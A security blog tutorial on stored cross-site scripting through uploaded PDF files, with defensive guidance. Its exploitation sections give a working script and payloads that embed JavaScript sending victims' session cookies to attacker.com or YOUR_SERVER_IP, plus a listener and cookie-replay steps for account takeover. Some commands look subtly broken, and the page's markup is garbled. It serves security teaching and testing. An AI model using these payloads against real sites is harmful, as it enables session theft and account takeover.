Stored XSS Via PDF Upload: The Silent JavaScript Execution That Bypasses Traditional Filters + Video

Introduction:

Stored Cross‑Site Scripting (XSS) remains one of the most prevalent web vulnerabilities, but few realize that a simple PDF file can serve as a delivery vehicle. When a web application allows users to upload PDFs and later renders them inline without sanitizing embedded JavaScript, an attacker can plant a persistent payload that executes in the context of every victim who views the file—no AI or complex tooling required.

Learning Objectives:

Understand how JavaScript can be embedded inside PDF files and triggered through browser‑based PDF viewers.
Learn manual techniques to craft malicious PDFs and test for stored XSS via file upload endpoints.
Implement mitigation strategies including content sanitization, forced download headers, and Content Security Policy.

1. The Anatomy of PDF‑Based Stored XSS

PDF is not merely a static document format; it supports JavaScript through entries like `/JS` (JavaScript action) and `/OpenAction` that execute code when the document is opened. Modern web applications often display uploaded PDFs using inline “ or `` tags, handing control to the browser’s built‑in PDF viewer (e.g., Chrome’s PDFium or Firefox’s PDF.js). If the application does not strip or sanitize these JavaScript objects, the embedded code runs within the origin of the web app, giving it full access to cookies, session tokens, and DOM elements.</p> <h2 style="color: yellow;">Step‑by‑step guide to understanding the risk:</h2> <ol> <li>The attacker uploads a PDF containing a JavaScript payload (e.g., <code>app.alert("XSS")</code>).</li> <li>The application stores the file and provides a preview link.</li> <li>Another user clicks the preview – the browser renders the PDF and executes the JavaScript.</li> <li>Because the PDF is served from the same origin as the web app, the script can read <code>document.cookie</code>, perform authenticated requests, or redirect to a phishing page.</li> </ol> <p>Unlike reflected XSS, this stored variant affects every subsequent viewer, making it a high‑severity finding in bug bounty programs.</p> <ol> <li>Manual Crafting of a Malicious PDF (No AI Required)</li> </ol> <p>To reproduce the vulnerability, you need to create a PDF that contains a JavaScript action. The original post emphasises manual work – we’ll use free command‑line and Python tools.</p> <h2 style="color: yellow;">Step‑by‑step guide using Python’s PyPDF2 (Linux & Windows):</h2> <h2 style="color: yellow;">1. Install PyPDF2:</h2> <h2 style="color: yellow;">`pip install PyPDF2`</h2> <h2 style="color: yellow;">2. Create a Python script `malicious_pdf.py`:</h2> <pre data-enlighter-language="bash" class="EnlighterJSRAW"> from PyPDF2 import PdfReader, PdfWriter writer = PdfWriter() writer.add_blank_page(width=72, height=72) Inject JavaScript that steals cookies and sends them to a remote server js_payload = """ app.alert('Session compromised'); var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + document.cookie; """ writer.add_js(js_payload) with open('xss_payload.pdf', 'wb') as f: writer.write(f) print("[+] Malicious PDF created: xss_payload.pdf") </pre> <h2 style="color: yellow;">3. Run the script: `python malicious_pdf.py`</h2> <h2 style="color: yellow;">Alternative using qpdf (Linux):</h2> <p>Create a JavaScript file `payload.js` with <code>app.alert("XSS")</code>. Then inject it into an existing PDF:</p> <pre data-enlighter-language="bash" class="EnlighterJSRAW"> qpdf --add-attachment payload.js --attachment-key /JS input.pdf output.pdf </pre> <p>(Note: Some qpdf versions require explicit object manipulation – refer to the manual.)</p> <h2 style="color: yellow;">Windows PowerShell method:</h2> <p>Use the .NET `iTextSharp` library (or download `qpdf.exe` for Windows). A simple approach is to use the Python script above, which works identically on Windows.</p> <p>Once created, upload the PDF to any file upload field within the target application. If a preview popup appears when you (or another user) view the file, you have confirmed stored XSS.</p> <ol> <li>Exploiting the Vulnerability – From Alert to Account Takeover</li> </ol> <p>An `alert()` pop‑up is proof of concept, but a real attacker will escalate to session hijacking or credential theft.</p> <h2 style="color: yellow;">Step‑by‑step exploitation:</h2> <h2 style="color: yellow;">1. Set up a listener (Linux/Windows):</h2> <p>`nc -lvnp 4444` – or use a simple HTTP server with Python:</p> <h2 style="color: yellow;">`python3 -m http.server 8080`</h2> <h2 style="color: yellow;">2. Modify the JavaScript payload to exfiltrate cookies:</h2> <pre data-enlighter-language="bash" class="EnlighterJSRAW"> fetch('http://YOUR_SERVER_IP:8080/steal?cookie=' + encodeURIComponent(document.cookie)); </pre> <p>For older browsers or cross‑origin restrictions, use an image trick:</p> <pre data-enlighter-language="bash" class="EnlighterJSRAW"> new Image().src = 'http://YOUR_SERVER_IP:8080/steal?c=' + document.cookie; </pre> <ol> <li>Embed this payload inside the PDF using the same Python script, replacing the `js_payload` string.</p> </li> <li> <p>Upload the PDF and wait for a victim to view it. The victim’s cookies (including session tokens) will appear in your listener logs.</p> </li> <li> <p>Impersonate the victim by importing the stolen cookie into your browser (using a tool like EditThisCookie or the browser’s developer console). You can now act as the authenticated user.</p> </li> </ol> <p>Testing note: Some modern browsers restrict PDF JavaScript execution in their built‑in viewers (e.g., Chrome’s PDFium blocks `fetch` to external domains). However, many custom enterprise viewers or older browsers are vulnerable. Additionally, if the application extracts text from the PDF and injects it into the DOM (common in document management systems), a traditional XSS payload like `<script>alert(1)</script>` inside a PDF’s metadata or text field will also trigger. Always test both scenarios.</p> <h2 style="color: yellow;">4. Mitigation Strategies for Developers</h2> <h2 style="color: yellow;">Preventing PDF‑based stored XSS requires a layered defence.</h2> <h2 style="color: yellow;">Step‑by‑step guidance for hardening your application:</h2> <h2 style="color: yellow;">1. Force download instead of inline rendering</h2> <h2 style="color: yellow;">Set HTTP headers on all PDF responses:</h2> <pre data-enlighter-language="bash" class="EnlighterJSRAW"> Content-Disposition: attachment; filename="document.pdf" Content-Type: application/pdf </pre> <p>This stops the browser from automatically interpreting the PDF, forcing a download dialogue.</p> <h2 style="color: yellow;">2. Sanitise uploaded PDFs</h2> <p>Use tools to strip JavaScript and embedded actions. On the server (Linux example):</p> <pre data-enlighter-language="bash" class="EnlighterJSRAW"> Install qpdf and exiftool sudo apt install qpdf libimage-exiftool-perl Remove all metadata and JavaScript actions exiftool -all= uploaded.pdf -overwrite_original qpdf --linearize --object-streams=disable --preserve-unreferenced=no uploaded.pdf sanitized.pdf </pre> <h2 style="color: yellow;">Then serve the sanitised version.</h2> <ol> <li>Validate file contents – never trust the file extension or MIME type sent by the client. Read the file’s magic bytes and use a robust PDF parser to detect JavaScript objects.</p> </li> <li> <p>Implement a strong Content Security Policy (CSP) that blocks inline scripts and restricts script sources. Example:</p> <pre data-enlighter-language="bash" class="EnlighterJSRAW"> Content-Security-Policy: sandbox; script-src 'none'; object-src 'none' </pre> <p>For PDFs served via `object` or <code>embed</code>, the CSP should also include `sandbox allow-same-origin` only if absolutely necessary.</p> </li> <li> <p>Use virus scanners (ClamAV) with signatures for malicious PDF JavaScript. While not foolproof, it filters known payloads.</p> </li> <li> <p>Conduct manual security testing on all file upload features – try uploading PDFs with embedded JS, SVG files with scripts, and HTML files with `<script type="text/plain" data-service="youtube" data-category="marketing">` tags.</p> </li> </ol> <h2 style="color: yellow;">5. Testing Commands for Security Professionals</h2> <p>Whether you are a bug bounty hunter or a blue teamer, these commands help detect and analyse malicious PDFs.</p> <p>| Purpose | Linux Command | Windows Equivalent |</p> <h2 style="color: yellow;">||||</h2> <p>| Extract metadata | `exiftool suspicious.pdf` | `exiftool.exe` (download) |<br /> | List embedded JavaScript objects | `pdf-parser -s javascript suspicious.pdf` (from Didier Stevens) | Use `pdf-parser.py` with Python |<br /> | Show all object streams | `qpdf --show-objects suspicious.pdf` | `qpdf.exe --show-objects` |<br /> | Search for JS keywords | `strings suspicious.pdf \| grep -i "javascript"` | `findstr /i "javascript" suspicious.pdf` |<br /> | Remove all actions | `qpdf --linearize --replace-objects=all suspicious.pdf clean.pdf` | Same with `qpdf.exe` |<br /> | Test upload with Burp Suite | Use Repeater to send the malicious PDF; check response for `X-XSS-Protection` or lack of sanitisation. | Same. |</p> <h2 style="color: yellow;">PowerShell one‑liner to detect suspicious strings:</h2> <pre data-enlighter-language="bash" class="EnlighterJSRAW"> Get-Content suspicious.pdf -Raw | Select-String -Pattern "javascript|app.alert|/JS|/OpenAction" </pre> <h2 style="color: yellow;">6. What Undercode Say</h2> <p>Key Takeaway 1: Manual testing remains irreplaceable – AI cannot (yet) replicate the creative reasoning needed to craft a malicious PDF that bypasses file‑type validators and sneaks a JavaScript payload past naive sanitisation.</p> <p>Key Takeaway 2: File upload features are a perennial attack surface; even formats as trusted as PDF can execute code in the user’s browser, leading to session hijacking, data theft, and full account compromise.</p> <p>Analysis: The resurgence of manual bug hunting, as noted by the original post (“No AI used”), highlights a critical truth: automation tools often miss logic flaws and format‑specific injections. Security teams must invest in developer education about embedded scripts in binary files, implement forced‑download policies, and regularly test their own applications with manually crafted payloads. The PDF format contains dozens of execution vectors – from `/Launch` actions to JavaScript inside XFA forms – making it a fertile ground for persistent XSS. Expect to see more such disclosures as organisations rapidly deploy document upload portals without adequate hardening.</p> <h2 style="color: yellow;">7. Prediction</h2> <p>As AI‑assisted security scanners become ubiquitous, attackers will increasingly shift toward manual, format‑specific exploitation techniques that fall outside typical detection models. PDF‑based stored XSS will see a resurgence, especially in enterprise document management systems and e‑discovery platforms. Meanwhile, defenders will adopt runtime PDF sandboxing and Content Security Policy 3.0 features that granularly control execution inside embedded viewers. The arms race will produce new standards for safe PDF rendering – but for the next two years, manual testing of file uploads will remain the most effective way to uncover these stealthy vulnerabilities. Organizations that ignore this vector risk becoming the next case study in a bug bounty report.</p> <h2 style="color: yellow;">▶️ Related Video (82% Match):</h2> <div class="ast-oembed-container " style="height: 100%;"><iframe data-placeholder-image="https://undercodetesting.com/wp-content/uploads/complianz/placeholders/youtube0RXyzE473ss-maxresdefault.webp" data-category="marketing" data-service="youtube" class="cmplz-placeholder-element cmplz-iframe cmplz-iframe-styles cmplz-video " data-cmplz-target="src" data-src-cmplz="https://www.youtube.com/embed/0RXyzE473ss?feature=oembed" title="XSS Bypass POC — Evading Input Filters with a Simple Payload" width="1200" height="675" src="about:blank" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen>

Reported By: Drisr53 Bug - Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Stored XSS via PDF Upload: The Silent JavaScript Execution That Bypasses Traditional Filters + Video

Introduction:

Learning Objectives:

1. The Anatomy of PDF‑Based Stored XSS

🎯Let’s Practice For Free:

IT/Security Reporter URL:

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

📢 Follow UndercodeTesting & Stay Tuned:

Listen to this Post

Introduction:

Learning Objectives:

1. The Anatomy of PDF‑Based Stored XSS

🎯Let’s Practice For Free:

IT/Security Reporter URL:

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

📢 Follow UndercodeTesting & Stay Tuned:

Share this:

Related Posts: